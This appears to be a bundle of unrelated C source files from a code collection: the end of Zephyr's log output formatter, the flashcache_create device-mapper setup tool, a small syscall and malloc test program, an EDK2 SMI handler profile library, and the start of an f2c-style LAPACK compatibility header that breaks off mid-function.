*msg, const struct log_output *output) { __ASSERT_NO_MSG(output->size); size_t offset = 0; size_t length; bool eol = false; do { length = output->size; /* Sting is stored in a hexdump message. */ log_msg_hexdump_data_get(msg, output->buf, &length, offset); output->control_block->offset = length; if (length != 0) { eol = (output->buf[length - 1] == '\n'); } log_output_flush(output); offset += length; } while (length > 0); if (eol) { print_formatted(output, "\r"); } } static uint32_t prefix_print(const struct log_output *output, uint32_t flags, bool func_on, uint32_t timestamp, uint8_t level, uint8_t domain_id, int16_t source_id) { uint32_t length = 0U; bool stamp = flags & LOG_OUTPUT_FLAG_TIMESTAMP; bool colors_on = flags & LOG_OUTPUT_FLAG_COLORS; bool level_on = flags & LOG_OUTPUT_FLAG_LEVEL; if (IS_ENABLED(CONFIG_LOG_BACKEND_NET) && flags & LOG_OUTPUT_FLAG_FORMAT_SYSLOG) { /* TODO: As there is no way to figure out the * facility at this point, use a pre-defined value. * Change this to use the real facility of the * logging call when that info is available. */ static const int facility = 16; /* local0 */ length += print_formatted( output, "<%d>1 ", facility * 8 + level_to_rfc5424_severity(level)); } if (stamp) { length += timestamp_print(output, flags, timestamp); } if (IS_ENABLED(CONFIG_LOG_BACKEND_NET) && flags & LOG_OUTPUT_FLAG_FORMAT_SYSLOG) { length += print_formatted( output, "%s - - - - ", output->control_block->hostname ? output->control_block->hostname : "zephyr"); } else { color_prefix(output, colors_on, level); } length += ids_print(output, level_on, func_on, domain_id, source_id, level); return length; } static void postfix_print(const struct log_output *output, uint32_t flags, uint8_t level) { color_postfix(output, (flags & LOG_OUTPUT_FLAG_COLORS), level); newline_print(output, flags); } void log_output_msg_process(const struct log_output *output, struct log_msg *msg, uint32_t flags) { bool std_msg = log_msg_is_std(msg); uint32_t timestamp = log_msg_timestamp_get(msg); uint8_t level = (uint8_t)log_msg_level_get(msg); uint8_t domain_id = (uint8_t)log_msg_domain_id_get(msg); int16_t source_id = (int16_t)log_msg_source_id_get(msg); bool raw_string = (level == LOG_LEVEL_INTERNAL_RAW_STRING); int prefix_offset; if (IS_ENABLED(CONFIG_LOG_MIPI_SYST_ENABLE) && flags & LOG_OUTPUT_FLAG_FORMAT_SYST) { log_output_msg_syst_process(output, msg, flags); return; } prefix_offset = raw_string ? 0 : prefix_print(output, flags, std_msg, timestamp, level, domain_id, source_id); if (log_msg_is_std(msg)) { std_print(msg, output); } else if (raw_string) { raw_string_print(msg, output); } else { hexdump_print(msg, output, prefix_offset, flags); } if (!raw_string) { postfix_print(output, flags, level); } log_output_flush(output); } void log_output_msg2_process(const struct log_output *output, struct log_msg2 *msg, uint32_t flags) { log_timestamp_t timestamp = log_msg2_get_timestamp(msg); uint8_t level = log_msg2_get_level(msg); bool raw_string = (level == LOG_LEVEL_INTERNAL_RAW_STRING); uint32_t prefix_offset; if (IS_ENABLED(CONFIG_LOG_MIPI_SYST_ENABLE) && flags & LOG_OUTPUT_FLAG_FORMAT_SYST) { __ASSERT_NO_MSG(0); /* todo not supported * log_output_msg_syst_process(output, msg, flags); */ return; } if (!raw_string) { void *source = (void *)log_msg2_get_source(msg); uint8_t domain_id = log_msg2_get_domain(msg); int16_t source_id = source ? (IS_ENABLED(CONFIG_LOG_RUNTIME_FILTERING) ? log_dynamic_source_id(source) : log_const_source_id(source)) : -1; prefix_offset = prefix_print(output, flags, 0, timestamp, level, domain_id, source_id); } else { prefix_offset = 0; } size_t len; uint8_t *data = log_msg2_get_package(msg, &len); if (len) { int err = cbpprintf(raw_string ? cr_out_func : out_func, (void *)output, data); (void)err; __ASSERT_NO_MSG(err >= 0); } data = log_msg2_get_data(msg, &len); if (len) { log_msg2_hexdump(output, data, len, prefix_offset, flags); } if (!raw_string) { postfix_print(output, flags, level); } log_output_flush(output); } static bool ends_with_newline(const char *fmt) { char c = '\0'; while (*fmt != '\0') { c = *fmt; fmt++; } return (c == '\n'); } void log_output_string(const struct log_output *output, struct log_msg_ids src_level, uint32_t timestamp, const char *fmt, va_list ap, uint32_t flags) { int length; uint8_t level = (uint8_t)src_level.level; uint8_t domain_id = (uint8_t)src_level.domain_id; int16_t source_id = (int16_t)src_level.source_id; bool raw_string = (level == LOG_LEVEL_INTERNAL_RAW_STRING); if (IS_ENABLED(CONFIG_LOG_MIPI_SYST_ENABLE) && flags & LOG_OUTPUT_FLAG_FORMAT_SYST) { log_output_string_syst_process(output, src_level, fmt, ap, flags); return; } if (!raw_string) { prefix_print(output, flags, true, timestamp, level, domain_id, source_id); } length = cbvprintf(out_func, (void *)output, fmt, ap); (void)length; if (raw_string) { /* add \r if string ends with newline. */ if (ends_with_newline(fmt)) { print_formatted(output, "\r"); } } else { postfix_print(output, flags, level); } log_output_flush(output); } void log_output_hexdump(const struct log_output *output, struct log_msg_ids src_level, uint32_t timestamp, const char *metadata, const uint8_t *data, uint32_t length, uint32_t flags) { uint32_t prefix_offset; uint8_t level = (uint8_t)src_level.level; uint8_t domain_id = (uint8_t)src_level.domain_id; int16_t source_id = (int16_t)src_level.source_id; if (IS_ENABLED(CONFIG_LOG_MIPI_SYST_ENABLE) && flags & LOG_OUTPUT_FLAG_FORMAT_SYST) { log_output_hexdump_syst_process(output, src_level, data, length, flags); return; } prefix_offset = prefix_print(output, flags, true, timestamp, level, domain_id, source_id); /* Print metadata */ print_formatted(output, "%s", metadata); while (length != 0U) { uint32_t part_len = length > HEXDUMP_BYTES_IN_LINE ? HEXDUMP_BYTES_IN_LINE : length; hexdump_line_print(output, data, part_len, prefix_offset, flags); data += part_len; length -= part_len; } postfix_print(output, flags, level); log_output_flush(output); } void log_output_dropped_process(const struct log_output *output, uint32_t cnt) { char buf[5]; int len; static const char prefix[] = DROPPED_COLOR_PREFIX "--- "; static const char postfix[] = " messages dropped ---\r\n" DROPPED_COLOR_POSTFIX; log_output_func_t outf = output->func; cnt = MIN(cnt, 9999); len = snprintk(buf, sizeof(buf), "%d", cnt); buffer_write(outf, (uint8_t *)prefix, sizeof(prefix) - 1, output->control_block->ctx); buffer_write(outf, buf, len, output->control_block->ctx); buffer_write(outf, (uint8_t *)postfix, sizeof(postfix) - 1, output->control_block->ctx); } void log_output_timestamp_freq_set(uint32_t frequency) { timestamp_div = 1U; /* There is no point to have frequency higher than 1MHz (ns are not * printed) and too high frequency leads to overflows in calculations. */ while (frequency > 1000000) { frequency /= 2U; timestamp_div *= 2U; } freq = frequency; } uint64_t log_output_timestamp_to_us(uint32_t timestamp) { timestamp /= timestamp_div; return ((uint64_t) timestamp * 1000000U) / freq; }
784164.c
/* * Copyright (c) 2010, Facebook, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * Neither the name Facebook nor the names of its contributors may be used to * endorse or promote products derived from this software without specific * prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <ctype.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/fs.h> #include <linux/kernel.h> #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/sysinfo.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <linux/types.h> #include <flashcache.h> #undef COMMIT_REV void usage(char *pname) { fprintf(stderr, "Usage: %s [-v] [-p back|thru|around] [-b block size] [-m md block size] [-s cache size] [-a associativity] cachedev ssd_devname disk_devname\n", pname); fprintf(stderr, "Usage : %s Cache Mode back|thru|around is required argument\n", pname); fprintf(stderr, "Usage : %s Default units for -b, -m, -s are sectors, or specify in k/M/G. Default associativity is 512.\n", pname); #ifdef COMMIT_REV fprintf(stderr, "git commit: %s\n", COMMIT_REV); #endif exit(1); } char *pname; char buf[512]; char dmsetup_cmd[8192]; int verbose = 0; int force = 0; static sector_t get_block_size(char *s) { sector_t size; char *c; size = strtoll(s, NULL, 0); for (c = s; isdigit(*c); c++) ; switch (*c) { case '\0': break; case 'k': size = (size * 1024) / 512; break; default: fprintf (stderr, "%s: Unknown block size type %c\n", pname, *c); exit (1); } if (size & (size - 1)) { fprintf(stderr, "%s: Block size must be a power of 2\n", pname); exit(1); } return size; } static sector_t get_cache_size(char *s) { sector_t size; char *c; size = strtoll(s, NULL, 0); for (c = s; isdigit (*c); c++) ; switch (*c) { case '\0': break; case 'k': size = (size * 1024) / 512; break; case 'm': case 'M': size = (size * 1024 * 1024) / 512; break; case 'g': case 'G': size = (size * 1024 * 1024 * 1024) / 512; break; case 't': case 'T': /* Cache size in terabytes? You lucky people! */ size = (size * 1024 * 1024 * 1024 * 1024) / 512; break; default: fprintf (stderr, "%s: Unknown cache size type %c\n", pname, *c); exit (1); } return size; } static int module_loaded(void) { FILE *fp; char line[8192]; int found = 0; fp = fopen("/proc/modules", "ro"); while (fgets(line, 8190, fp)) { char *s; s = strtok(line, " "); if (!strcmp(s, "flashcache")) { found = 1; break; } } fclose(fp); return found; } static void load_module(void) { FILE *fp; char line[8192]; if (!module_loaded()) { if (verbose) fprintf(stderr, "Loading Flashcache Module\n"); system("modprobe flashcache"); if (!module_loaded()) { fprintf(stderr, "Could not load Flashcache Module\n"); exit(1); } } else if (verbose) fprintf(stderr, "Flashcache Module already loaded\n"); fp = fopen("/proc/flashcache/flashcache_version", "ro"); fgets(line, 8190, fp); if (fgets(line, 8190, fp)) { if (verbose) fprintf(stderr, "version string \"%s\"\n", line); #ifdef COMMIT_REV if (!strstr(line, COMMIT_REV)) { fprintf(stderr, "Flashcache revision doesn't match tool revision.\n"); exit(1); } #endif } fclose(fp); } static void check_sure(void) { char input; fprintf(stderr, "Are you sure you want to proceed ? (y/n): "); scanf("%c", &input); printf("\n"); if (input != 'y') { fprintf(stderr, "Exiting FlashCache creation\n"); exit(1); } } int main(int argc, char **argv) { int cache_fd, disk_fd, c; char *disk_devname, *ssd_devname, *cachedev; struct flash_superblock *sb = (struct flash_superblock *)buf; sector_t cache_devsize, disk_devsize; sector_t block_size = 0, md_block_size = 0, cache_size = 0; sector_t ram_needed; struct sysinfo i; int cache_sectorsize; int associativity = 512; int disk_associativity = 512; int ret; int cache_mode = -1; char *cache_mode_str; pname = argv[0]; while ((c = getopt(argc, argv, "fs:b:d:m:va:p:")) != -1) { switch (c) { case 's': cache_size = get_cache_size(optarg); break; case 'a': associativity = atoi(optarg); break; case 'b': block_size = get_block_size(optarg); /* Block size should be a power of 2 */ break; case 'd': disk_associativity = get_block_size(optarg); break; case 'm': md_block_size = get_block_size(optarg); /* MD block size should be a power of 2 */ break; case 'v': verbose = 1; break; case 'f': force = 1; break; case 'p': if (strcmp(optarg, "back") == 0) { cache_mode = FLASHCACHE_WRITE_BACK; cache_mode_str = "WRITE_BACK"; } else if ((strcmp(optarg, "thru") == 0) || (strcmp(optarg, "through") == 0)) { cache_mode = FLASHCACHE_WRITE_THROUGH; cache_mode_str = "WRITE_THROUGH"; } else if (strcmp(optarg, "around") == 0) { cache_mode = FLASHCACHE_WRITE_AROUND; cache_mode_str = "WRITE_AROUND"; } else usage(pname); break; case '?': usage(pname); } } if (cache_mode == -1) usage(pname); if (optind == argc) usage(pname); if (block_size == 0) block_size = 8; /* 4KB default blocksize */ if (md_block_size == 0) md_block_size = 8; /* 4KB default blocksize */ cachedev = argv[optind++]; if (optind == argc) usage(pname); ssd_devname = argv[optind++]; if (optind == argc) usage(pname); disk_devname = argv[optind]; printf("cachedev %s, ssd_devname %s, disk_devname %s cache mode %s\n", cachedev, ssd_devname, disk_devname, cache_mode_str); if (cache_mode == FLASHCACHE_WRITE_BACK) printf("block_size %lu, md_block_size %lu, cache_size %lu\n", block_size, md_block_size, cache_size); else printf("block_size %lu, cache_size %lu\n", block_size, cache_size); cache_fd = open(ssd_devname, O_RDONLY); if (cache_fd < 0) { fprintf(stderr, "Failed to open %s\n", ssd_devname); exit(1); } lseek(cache_fd, 0, SEEK_SET); if (read(cache_fd, buf, 512) < 0) { fprintf(stderr, "Cannot read Flashcache superblock %s\n", ssd_devname); exit(1); } if (sb->cache_sb_state == CACHE_MD_STATE_DIRTY || sb->cache_sb_state == CACHE_MD_STATE_CLEAN || sb->cache_sb_state == CACHE_MD_STATE_FASTCLEAN || sb->cache_sb_state == CACHE_MD_STATE_UNSTABLE) { fprintf(stderr, "%s: Valid Flashcache already exists on %s\n", pname, ssd_devname); fprintf(stderr, "%s: Use flashcache_destroy first and then create again %s\n", pname, ssd_devname); exit(1); } disk_fd = open(disk_devname, O_RDONLY); if (disk_fd < 0) { fprintf(stderr, "%s: Failed to open %s\n", pname, disk_devname); exit(1); } if (ioctl(cache_fd, BLKGETSIZE, &cache_devsize) < 0) { fprintf(stderr, "%s: Cannot get cache size %s\n", pname, ssd_devname); exit(1); } if (ioctl(disk_fd, BLKGETSIZE, &disk_devsize) < 0) { fprintf(stderr, "%s: Cannot get disk size %s\n", pname, disk_devname); exit(1); } if (ioctl(cache_fd, BLKSSZGET, &cache_sectorsize) < 0) { fprintf(stderr, "%s: Cannot get cache size %s\n", pname, ssd_devname); exit(1); } if (md_block_size > 0 && md_block_size * 512 < cache_sectorsize) { fprintf(stderr, "%s: SSD device (%s) sector size (%d) cannot be larger than metadata block size (%d) !\n", pname, ssd_devname, cache_sectorsize, md_block_size * 512); exit(1); } if (cache_size && cache_size > cache_devsize) { fprintf(stderr, "%s: Cache size is larger than ssd size %lu/%lu\n", pname, cache_size, cache_devsize); exit(1); } /* Remind users how much core memory it will take - not always insignificant. * If it's > 25% of RAM, warn. */ if (cache_size == 0) ram_needed = (cache_devsize / block_size) * sizeof(struct cacheblock); /* Whole device */ else ram_needed = (cache_size / block_size) * sizeof(struct cacheblock); sysinfo(&i); printf("Flashcache metadata will use %luMB of your %luMB main memory\n", ram_needed >> 20, i.totalram >> 20); if (!force && ram_needed > (i.totalram * 25 / 100)) { fprintf(stderr, "Proportion of main memory needed for flashcache metadata is high.\n"); fprintf(stderr, "You can reduce this with a smaller cache or a larger blocksize.\n"); check_sure(); } if (disk_associativity == 0 || disk_associativity > associativity) { fprintf(stderr, "%s: Invalid Disk Associativity %ld\n", pname, disk_associativity); exit(1); } if (!force && cache_size > disk_devsize) { fprintf(stderr, "Size of cache volume (%s) is larger than disk volume (%s)\n", ssd_devname, disk_devname); check_sure(); } sprintf(dmsetup_cmd, "echo 0 %lu flashcache %s %s %s %d 2 %lu %lu %d %lu %lu" " | dmsetup create %s", disk_devsize, disk_devname, ssd_devname, cachedev, cache_mode, block_size, cache_size, associativity, disk_associativity, md_block_size, cachedev); /* Go ahead and create the cache. * XXX - Should use the device mapper library for this. */ load_module(); if (verbose) fprintf(stderr, "Creating FlashCache Volume : \"%s\"\n", dmsetup_cmd); ret = system(dmsetup_cmd); if (ret) { fprintf(stderr, "%s failed\n", dmsetup_cmd); exit(1); } return 0; }
463889.c
#include <stdio.h> #include "../libc/arch/arm/syscall_arch.h" #include <fs_syscalls.h> int main() { __syscall3(99, 0, 0, 0); printf("Hello world... from hello.c\n"); printf("LET'S TEST %d\n", 10); int* mem = 0; mem = (int*) malloc(100); printf("malloc returned %x\n", mem); mem[0] = 1; mem[10] = 2; free(mem); printf("success\n"); while(1); }
305648.c
/** @file MM driver instance of SmiHandlerProfile Library. Copyright (c) 2017, Intel Corporation. All rights reserved.<BR> Copyright (c) Microsoft Corporation. SPDX-License-Identifier: BSD-2-Clause-Patent **/ #include <PiMm.h> #include <Library/SmiHandlerProfileLib.h> #include <Library/MmServicesTableLib.h> #include <Guid/SmiHandlerProfile.h> SMI_HANDLER_PROFILE_PROTOCOL *mSmiHandlerProfile; /** This function is called by SmmChildDispatcher module to report a new SMI handler is registered, to SmmCore. @param HandlerGuid The GUID to identify the type of the handler. For the SmmChildDispatch protocol, the HandlerGuid must be the GUID of SmmChildDispatch protocol. @param Handler The SMI handler. @param CallerAddress The address of the module who registers the SMI handler. @param Context The context of the SMI handler. For the SmmChildDispatch protocol, the Context must match the one defined for SmmChildDispatch protocol. @param ContextSize The size of the context in bytes. For the SmmChildDispatch protocol, the Context must match the one defined for SmmChildDispatch protocol. @retval EFI_SUCCESS The information is recorded. @retval EFI_UNSUPPORTED The feature is unsupported. @retval EFI_OUT_OF_RESOURCES There is no enough resource to record the information. **/ EFI_STATUS EFIAPI SmiHandlerProfileRegisterHandler ( IN EFI_GUID *HandlerGuid, IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler, IN PHYSICAL_ADDRESS CallerAddress, IN VOID *Context OPTIONAL, IN UINTN ContextSize OPTIONAL ) { if (mSmiHandlerProfile != NULL) { return mSmiHandlerProfile->RegisterHandler (mSmiHandlerProfile, HandlerGuid, Handler, CallerAddress, Context, ContextSize); } return EFI_UNSUPPORTED; } /** This function is called by SmmChildDispatcher module to report an existing SMI handler is unregistered, to SmmCore. @param HandlerGuid The GUID to identify the type of the handler. For the SmmChildDispatch protocol, the HandlerGuid must be the GUID of SmmChildDispatch protocol. @param Handler The SMI handler. @param Context The context of the SMI handler. If it is NOT NULL, it will be used to check what is registered. @param ContextSize The size of the context in bytes. If Context is NOT NULL, it will be used to check what is registered. @retval EFI_SUCCESS The original record is removed. @retval EFI_UNSUPPORTED The feature is unsupported. @retval EFI_NOT_FOUND There is no record for the HandlerGuid and handler. **/ EFI_STATUS EFIAPI SmiHandlerProfileUnregisterHandler ( IN EFI_GUID *HandlerGuid, IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler, IN VOID *Context OPTIONAL, IN UINTN ContextSize OPTIONAL ) { if (mSmiHandlerProfile != NULL) { return mSmiHandlerProfile->UnregisterHandler (mSmiHandlerProfile, HandlerGuid, Handler, Context, ContextSize); } return EFI_UNSUPPORTED; } /** The common constructor function for SMI handler profile. @retval EFI_SUCCESS The constructor always returns EFI_SUCCESS. **/ EFI_STATUS MmSmiHandlerProfileLibInitialization ( VOID ) { gMmst->MmLocateProtocol ( &gSmiHandlerProfileGuid, NULL, (VOID **)&mSmiHandlerProfile ); return EFI_SUCCESS; }
183592.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle_() continue; #define myceiling_(w) {ceil(w)} #define myhuge_(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc_(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return 